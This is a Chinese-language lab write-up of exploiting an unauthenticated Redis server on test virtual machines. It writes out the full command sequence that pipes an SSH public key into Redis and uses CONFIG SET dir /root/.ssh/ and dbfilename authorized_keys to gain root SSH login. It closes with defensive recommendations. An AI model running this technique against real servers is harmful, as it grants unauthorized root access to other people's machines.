实验三---redis的未授权访问
实验配置设备要求
1.2台centos虚拟机,并都装载了Redis服务器
Redis未授权访问 前景提要:
一台redis服务器安装好后是不允许进行远程访问的,受保护模式是开启的,并直默认没有认证密码,启动redis服务器默认使用的是当前用户启动的(root用户)
假如允许redis服务器可以远程访问
etc/redis/6379.conf/ #需要对对应的配置文件进行修改
前提:
1.服务器关闭了保护模式允许了远程登录
2.服务器允许 了秘钥登录的方式,理论上来说服务器具有了.ssh的文件就具有这种登录的可能
实验中的目标主机本身没有.ssh的文件夹为了需要零时创建了一个.ssh的文件夹
客户机操作
(1)ssh-keygen -t rsa #生成秘钥对,输入命令后一路回车,这样设置出来的秘钥对没有密码要求
(2)秘钥和公钥的位置默认在上图中,将公钥写入到txt文件内
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
#命令解释 echo -e (-e是指代激活转译字符,防止命令被当成自字符输出)
""\n\n"" 代表2次换行,换行是为了防止乱码
(3)cat ~/.ssh/key.txt | redis-cli -h 192.168.66.135 -p 6399 -x set xxx
#### -x 选项意思是将前面cat查看的命令作为 后面命令set执行的基础(从标准输入读取数据作为该命令的最后一个参数)
(4)如下图所示
192.168.66.135:6399> CONFIG GET dir #查询Redis 默认文件存放路径
1) "dir"
2) "/var/lib/redis/6379"
192.168.66.135:6399> CONFIG SET dir /root/.ssh/ #修改默认存放路径为root/.ssh下
OK
192.168.66.135:6399> CONFIG GET dbfilename #查看Redis默认保存的文件名
1) "dbfilename"
2) "dump.rdb"
192.168.66.135:6399> CONFIG SET dbfilename authorized_keys #将默认文件名设置为key的默认个名字authorized_keys
OK
192.168.66.135:6399> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.66.135:6399>save #修改完毕保存下
测试可以直接使用目标主机的root账户登录
#################################################
总结
1.该实验需要一些先天条件.服务器要有.ssh的目录
2.习惯用root用户登录
3.要能登录的了Redis用户
防备逻辑
1.禁用服务器的root用户,使用其他低权限用户
2.禁用confing命令,只给set 、get权限命令
3.给出区域让他只能去修改Redis服务器上的配置文件
4.设置Redis远程账号密码
(ps:本次实验记录的Redis服务器的安装及使用前的设置,仍然存在着一些问题但勉强能使,头疼,总之欢迎小伙伴和大手子来讨论,另外Redis的安装又需要的小伙伴可以参考我Linux实验三)